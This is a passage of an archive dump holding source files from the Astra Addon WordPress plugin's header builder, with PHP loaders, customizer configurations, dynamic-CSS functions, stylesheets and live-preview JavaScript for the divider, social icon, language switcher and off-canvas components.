] = '#000000'; $defaults[ 'header-divider-' . $index . '-size' ] = array( 'desktop' => '50', 'tablet' => '50', 'mobile' => '50', ); $defaults[ 'header-horizontal-divider-' . $index . '-size' ] = array( 'desktop' => '50', 'tablet' => '50', 'mobile' => '50', ); $defaults[ 'header-divider-' . $index . '-thickness' ] = array( 'desktop' => '1', 'tablet' => '1', 'mobile' => '1', ); } return $defaults; } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-heading-divider-customizer-preview-js', ASTRA_ADDON_HEADER_DIVIDER_URI . 'assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); // Localize variables for divider JS. wp_localize_script( 'astra-heading-divider-customizer-preview-js', 'AstraBuilderDividerData', array( 'component_limit' => astra_addon_builder_helper()->component_limit, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Header_Divider_Component_Loader(); builder/type/header/social-icon/class-astra-header-social-component-configs.php 0000666 00000002447 15165730730 0023677 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Social_Component_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Social_Component_Configs::register_configuration( $configurations, 'header', 'section-hb-social-icons-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Header_Social_Component_Configs(); builder/type/header/social-icon/dynamic-css/dynamic.css.php 0000666 00000001360 15165730730 0017754 0 ustar 00 <?php /** * Divider control - Dynamic CSS * * @package Astra Builder * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Heading Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_header_social_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ function astra_addon_header_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Social_Icon_Component_Dynamic_CSS::astra_social_dynamic_css( 'header' ); return $dynamic_css; } builder/type/header/social-icon/classes/class-astra-header-social-component-loader.php 0000666 00000004175 15165730730 0025152 0 ustar 00 <?php /** * Social Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Social_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.0.0 */ public function theme_defaults( $defaults ) { $num_of_header_social_icons = astra_addon_builder_helper()->num_of_header_social_icons; // Divider header defaults. for ( $index = 1; $index <= $num_of_header_social_icons; $index++ ) { $defaults[ 'header-social-' . $index . '-stack' ] = 'none'; } return $defaults; } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-social-icon-addon-header-customizer-preview-js', ASTRA_ADDON_HEADER_SOCIAL_URI . '/assets/js/customizer-preview.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); // Localize variables for divider JS. wp_localize_script( 'astra-social-icon-addon-header-customizer-preview-js', 'AstraBuilderSocialData', array( 'header_social_count' => astra_addon_builder_helper()->num_of_header_social_icons, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Header_Social_Component_Loader(); builder/type/header/social-icon/assets/css/minified/style-rtl.min.css 0000666 00000001212 15165730730 0021723 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal{width:100%}.ast-fb-divider-layout-vertical .ast-divider-layout-horizontal,.ast-fb-divider-layout-vertical .ast-divider-layout-vertical{position:absolute}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){margin:15px 20px} builder/type/header/social-icon/assets/css/minified/style.min.css 0000666 00000001212 15165730730 0021124 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal{width:100%}.ast-fb-divider-layout-vertical .ast-divider-layout-horizontal,.ast-fb-divider-layout-vertical .ast-divider-layout-vertical{position:absolute}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){margin:15px 20px} builder/type/header/social-icon/assets/css/unminified/style-rtl.css 0000666 00000001431 15165730730 0021507 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal { width: 100%; } .ast-fb-divider-layout-vertical .ast-divider-layout-vertical, .ast-fb-divider-layout-vertical .ast-divider-layout-horizontal { position: absolute; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { margin: 15px 20px; } builder/type/header/social-icon/assets/css/unminified/style.css 0000666 00000001431 15165730730 0020710 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal { width: 100%; } .ast-fb-divider-layout-vertical .ast-divider-layout-vertical, .ast-fb-divider-layout-vertical .ast-divider-layout-horizontal { position: absolute; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { margin: 15px 20px; } builder/type/header/social-icon/assets/js/customizer-preview.js 0000666 00000000751 15165730730 0020760 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_builder_addon_social_css( 'header', AstraBuilderSocialData.header_social_count ); } )( jQuery ); builder/type/header/social-icon/assets/scss/style.scss 0000666 00000000000 15165730730 0017116 0 ustar 00 builder/type/header/social-icon/class-astra-header-social-component.php 0000666 00000002477 15165730730 0022254 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_HEADER_SOCIAL_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/social-icon/' ); define( 'ASTRA_ADDON_HEADER_SOCIAL_URI', ASTRA_EXT_URI . 'classes/builder/type/header/social-icon/' ); /** * Heading Initial Setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Social_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_HEADER_SOCIAL_DIR . 'classes/class-astra-header-social-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_HEADER_SOCIAL_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Header_Social_Component(); builder/type/header/language-switcher/assets/js/customizer-preview.js 0000666 00000000702 15165730730 0022165 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_builder_language_switcher_css( 'header' ); } )( jQuery ); builder/type/header/language-switcher/dynamic-css/dynamic.css.php 0000666 00000001604 15165730730 0021166 0 ustar 00 <?php /** * Language_Switcher control - Dynamic CSS * * @package Astra Builder * @since 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Language Switcher Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_header_lang_switcher_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.1.0 */ function astra_addon_header_lang_switcher_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { if ( Astra_Addon_Builder_Helper::is_component_loaded( 'language-switcher', 'header' ) ) { $dynamic_css .= Astra_Language_Switcher_Component_Dynamic_CSS::astra_language_switcher_dynamic_css( 'header' ); } return $dynamic_css; } type/header/language-switcher/classes/class-astra-header-language-switcher-component-loader.php 0000666 00000005252 15165730730 0030440 0 ustar 00 builder <?php /** * Language Switcher Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Header_Language_Switcher_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.1.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.1.0 */ public function theme_defaults( $defaults ) { $defaults['header-language-switcher-type'] = 'custom'; $defaults['header-language-switcher-layout'] = 'horizontal'; $defaults['header-language-switcher-show-flag'] = true; $defaults['header-language-switcher-show-name'] = true; $defaults['header-language-switcher-show-tname'] = false; $defaults['header-language-switcher-show-code'] = false; $defaults['section-hb-language-switcher-flag-spacing'] = array( 'desktop' => '5', 'tablet' => '', 'mobile' => '', ); $defaults['section-hb-language-switcher-flag-size'] = array( 'desktop' => '20', 'tablet' => '', 'mobile' => '', ); $defaults['header-language-switcher-options'] = array( 'items' => array( array( 'id' => 'gb', 'enabled' => true, 'url' => '', 'label' => __( 'English', 'astra-addon' ), ), ), ); $defaults['section-hb-language-switcher-margin'] = astra_addon_builder_helper()->default_responsive_spacing; return $defaults; } /** * Customizer Preview * * @since 3.1.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-heading-language-switcher-customizer-preview-js', ASTRA_ADDON_HEADER_LANGUAGE_SWITCHER_URI . '/assets/js/customizer-preview.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Header_Language_Switcher_Component_Loader(); builder/type/header/language-switcher/class-astra-header-language-switcher-configs.php 0000666 00000002470 15165730730 0025243 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Header_Language_Switcher_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Language_Switcher_Component_Configs::register_configuration( $configurations, 'header', 'section-hb-language-switcher' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Header_Language_Switcher_Configs(); builder/type/header/language-switcher/class-astra-header-language-switcher-component.php 0000666 00000002630 15165730730 0025613 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_HEADER_LANGUAGE_SWITCHER_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/language-switcher/' ); define( 'ASTRA_ADDON_HEADER_LANGUAGE_SWITCHER_URI', ASTRA_EXT_URI . 'classes/builder/type/header/language-switcher/' ); /** * Heading Initial Setup * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Header_Language_Switcher_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_HEADER_LANGUAGE_SWITCHER_DIR . 'classes/class-astra-header-language-switcher-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_HEADER_LANGUAGE_SWITCHER_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Header_Language_Switcher_Component(); builder/type/header/off-canvas/dynamic-css/dynamic.css.php 0000666 00000003730 15165730730 0017602 0 ustar 00 <?php /** * Off Canvas control - Dynamic CSS * * @package Astra Addon * @since 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Off Canvas Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_offcanvas_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.3.0 */ function astra_addon_offcanvas_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $selector = '.ast-mobile-popup-drawer.active'; $popup_width = astra_get_option( 'off-canvas-width' ); $popup_width_desktop = ( isset( $popup_width['desktop'] ) && ! empty( $popup_width['desktop'] ) ) ? $popup_width['desktop'] : ''; $popup_width_tablet = ( isset( $popup_width['tablet'] ) && ! empty( $popup_width['tablet'] ) ) ? $popup_width['tablet'] : ''; $popup_width_mobile = ( isset( $popup_width['mobile'] ) && ! empty( $popup_width['mobile'] ) ) ? $popup_width['mobile'] : ''; $css_output = array(); $css_output_tablet = array(); $css_output_mobile = array(); if ( ! empty( $popup_width_desktop ) ) { $css_output[ '.ast-desktop ' . $selector . ' .ast-mobile-popup-inner' ]['max-width'] = $popup_width_desktop . '%'; } if ( ! empty( $popup_width_tablet ) ) { $css_output_tablet[ $selector . ' .ast-mobile-popup-inner' ]['max-width'] = $popup_width_tablet . '%'; } if ( ! empty( $popup_width_mobile ) ) { $css_output_mobile[ $selector . ' .ast-mobile-popup-inner' ]['max-width'] = $popup_width_mobile . '%'; } $css_output = astra_parse_css( $css_output ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $dynamic_css .= $css_output; return $dynamic_css; } builder/type/header/off-canvas/class-astra-addon-offcanvas-component.php 0000666 00000002241 15165730730 0022415 0 ustar 00 <?php /** * Off Canvas component. * * @package Astra Addon * @link https://www.brainstormforce.com * @since Astra 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_OFFCANVAS_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/off-canvas/' ); define( 'ASTRA_ADDON_OFFCANVAS_URI', ASTRA_EXT_URI . 'classes/builder/type/header/off-canvas/' ); /** * Heading Initial Setup * * @since 3.3.0 */ class Astra_Addon_Offcanvas_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_OFFCANVAS_DIR . 'classes/class-astra-addon-offcanvas-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_OFFCANVAS_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Addon_Offcanvas_Component(); builder/type/header/off-canvas/assets/js/minified/customizer-preview.min.js 0000666 00000001216 15165730730 0023146 0 ustar 00 jQuery,wp.customize("astra-settings[off-canvas-width]",function(a){a.bind(function(a){var e=astraBuilderPreview.tablet_break_point||768,t=astraBuilderPreview.mobile_break_point||544,i="";""!==a.desktop&&(i=(i+=".ast-desktop .ast-mobile-popup-drawer.active .ast-mobile-popup-inner {")+"max-width: "+a.desktop+"%;} "),""!==a.tablet&&(i=(i+="@media (max-width: "+e+"px) {")+".ast-mobile-popup-drawer.active .ast-mobile-popup-inner {max-width: "+a.tablet+"%;} } "),""!==a.mobile&&(i=(i+="@media (max-width: "+t+"px) {")+".ast-mobile-popup-drawer.active .ast-mobile-popup-inner {max-width: "+a.mobile+"%;} } "),astra_add_dynamic_css("off-canvas-width",i)})}); builder/type/header/off-canvas/assets/js/unminified/customizer-preview.js 0000666 00000003520 15165730730 0022727 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Addon * @since x.x.x */ ( function( $ ) { wp.customize( 'astra-settings[off-canvas-width]', function ( value ) { value.bind( function ( newval ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544, dynamicStyle = ''; if ( '' !== newval.desktop ) { dynamicStyle += '.ast-desktop .ast-mobile-popup-drawer.active .ast-mobile-popup-inner {'; dynamicStyle += 'max-width: ' + newval.desktop + '%;'; dynamicStyle += '} '; } if ( '' !== newval.tablet ) { dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-mobile-popup-drawer.active .ast-mobile-popup-inner {'; dynamicStyle += 'max-width: ' + newval.tablet + '%;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( '' !== newval.mobile ) { dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-mobile-popup-drawer.active .ast-mobile-popup-inner {'; dynamicStyle += 'max-width: ' + newval.mobile + '%;'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( 'off-canvas-width', dynamicStyle ); } ); } ); } )( jQuery ); builder/type/header/off-canvas/class-astra-addon-offcanvas-configs.php 0000666 00000003452 15165730730 0022050 0 ustar 00 <?php /** * Astra Addon Customizer Configuration Off Canvas. * * @package astra-addon * @link https://wpastra.com/ * @since 3.3.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Register Off Canvas Customizer Configurations. * * @since 3.3.0 */ class Astra_Addon_Offcanvas_Configs extends Astra_Customizer_Config_Base { /** * Register Builder Above Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.3.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $_section = 'section-popup-header-builder'; $_configs = array( /** * Option: Popup Width. */ array( 'name' => ASTRA_THEME_SETTINGS . '[off-canvas-width]', 'section' => $_section, 'priority' => 32, 'transport' => 'postMessage', 'default' => astra_get_option( 'off-canvas-width' ), 'title' => __( 'Popup Width ( % )', 'astra-addon' ), 'type' => 'control', 'control' => 'ast-responsive-slider', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 100, ), 'context' => array( astra_addon_builder_helper()->general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[mobile-header-type]', 'operator' => '==', 'value' => 'off-canvas', ), ), ), ); return array_merge( $configurations, $_configs ); } } /** * Kicking this off by creating object of this class. */ new Astra_Addon_Offcanvas_Configs(); builder/type/header/off-canvas/classes/class-astra-addon-offcanvas-component-loader.php 0000666 00000045012 15165730730 0025321 0 ustar 00 <?php /** * Button Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.3.0 */ class Astra_Addon_Offcanvas_Component_Loader { /** * Constructor * * @since 3.3.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_filter( 'astra_theme_dynamic_css', array( $this, 'dynamic_css' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Dynamic CSS for Toggle Button on desktop. * * @param string $dynamic_css Dynmamically generated CSS string. * * @since 3.3.0 * @return string $dynamic_css Appended dynamic CSS. */ public function dynamic_css( $dynamic_css ) { if ( Astra_Addon_Builder_Helper::is_component_loaded( 'mobile-trigger', 'header', 'desktop' ) || is_customize_preview() ) { $dynamic_css .= Astra_Enqueue_Scripts::trim_css( self::load_toggle_for_desktop_static_css() ); } return $dynamic_css; } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.3.0 */ public function theme_defaults( $defaults ) { $defaults['off-canvas-width'] = array( 'desktop' => 35, 'tablet' => 90, 'mobile' => 90, ); return $defaults; } /** * Load static Toggle for Desktop CSS. * * @since 3.3.0 * @return string static css for Toggle for Desktop. */ public static function load_toggle_for_desktop_static_css() { if ( false === Astra_Icons::is_svg_icons() ) { $toggle_for_desktop_static_css = '.ast-desktop-header-content .ast-builder-menu-mobile .main-navigation ul.sub-menu .menu-item .menu-link:before, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation ul.sub-menu .menu-item .menu-link:before { content: "\e900"; font-family: "Astra"; font-size: .65em; text-decoration: inherit; display: inline-block; transform: translate(0, -2px) rotateZ(270deg); margin-right: 5px; } .ast-desktop-header-content .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle::before { font-weight: bold; content: "\e900"; font-family: "Astra"; text-decoration: inherit; display: inline-block; }'; } else { $toggle_for_desktop_static_css = ' .ast-desktop-popup-content .menu-link > .menu-text + .icon-arrow, .ast-desktop-popup-content .menu-link > .dropdown-menu-toggle, .ast-desktop-header-content .menu-link > .menu-text + .icon-arrow, .ast-desktop-header-content .menu-link > .dropdown-menu-toggle { display: none; } .ast-desktop-popup-content .sub-menu .menu-link > .icon-arrow:first-of-type, .ast-desktop-header-content .sub-menu .menu-link > .icon-arrow:first-of-type { display: inline-block; margin-right: 5px; } .ast-desktop-popup-content .sub-menu .menu-link > .icon-arrow:first-of-type svg, .ast-desktop-header-content .sub-menu .menu-link > .icon-arrow:first-of-type svg { top: .2em; margin-top: 0px; margin-left: 0px; width: .65em; transform: translate(0,-2px) rotateZ( 270deg ); } .ast-desktop-popup-content .main-header-menu .sub-menu .menu-item:not(.menu-item-has-children) .menu-link .icon-arrow:first-of-type, .ast-desktop-header-content .main-header-menu .sub-menu .menu-item:not(.menu-item-has-children) .menu-link .icon-arrow:first-of-type { display: inline-block; } .ast-desktop-popup-content .ast-submenu-expanded > .ast-menu-toggle, .ast-desktop-header-content .ast-submenu-expanded > .ast-menu-toggle { transform: rotateX( 180deg ); } #ast-desktop-header .ast-desktop-header-content .main-header-menu .sub-menu .menu-item.menu-item-has-children > .menu-link .icon-arrow svg { position: relative; right: 0; top: 0; transform: translate(0, 0%) rotate( 270deg ); }'; } $toggle_for_desktop_static_css .= ' /** Toggle on Desktop Feature */ .ast-desktop-header-content .ast-builder-menu-mobile .ast-builder-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-builder-menu { width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-main-header-bar-alignment, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-main-header-bar-alignment { display: block; width: 100%; flex: auto; order: 4; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation { width: 100%; margin: 0; line-height: 3; flex: auto; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation { display: block; width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-flex.main-header-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-flex.main-header-menu { flex-wrap: wrap; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-menu { border-top-width: 1px; border-style: solid; border-color: var(--ast-border-color); } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation li.menu-item, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation li.menu-item { width: 100%; } .ast-desktop-header-content .ast-builder-menu-mobile .main-navigation .menu-item .menu-link, .ast-desktop-popup-content .ast-builder-menu-mobile .main-navigation .menu-item .menu-link { border-bottom-width: 1px; border-color: var(--ast-border-color); border-style: solid; } .ast-builder-menu-mobile .main-navigation ul .menu-item .menu-link, .ast-builder-menu-mobile .main-navigation ul .menu-item .menu-link { padding: 0 20px; display: inline-block; width: 100%; border: 0; border-bottom-width: 1px; border-style: solid; border-color: var(--ast-border-color); } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .ast-menu-toggle { display: inline-block; position: absolute; font-size: inherit; top: 0px; right: 20px; cursor: pointer; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; padding: 0 0.907em; font-weight: normal; line-height: inherit; transition: all .2s; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children .sub-menu { display: none; } .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu { display: block; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-nav-menu .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-nav-menu .sub-menu { line-height: 3; } .ast-desktop-header-content .ast-builder-menu-mobile .submenu-with-border .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .submenu-with-border .sub-menu { border: 0; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-menu .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-menu .sub-menu { position: static; opacity: 1; visibility: visible; border: 0; width: auto; left: auto; right: auto; } .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .menu-link:after, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .menu-item-has-children > .menu-link:after { display: none; } .ast-desktop-header-content .ast-builder-menu-mobile .ast-submenu-expanded.menu-item .sub-menu, .ast-desktop-header-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .ast-submenu-expanded.menu-item .sub-menu, .ast-desktop-popup-content .ast-builder-menu-mobile .main-header-bar-navigation .toggled .menu-item-has-children .sub-menu, .ast-desktop-header-content 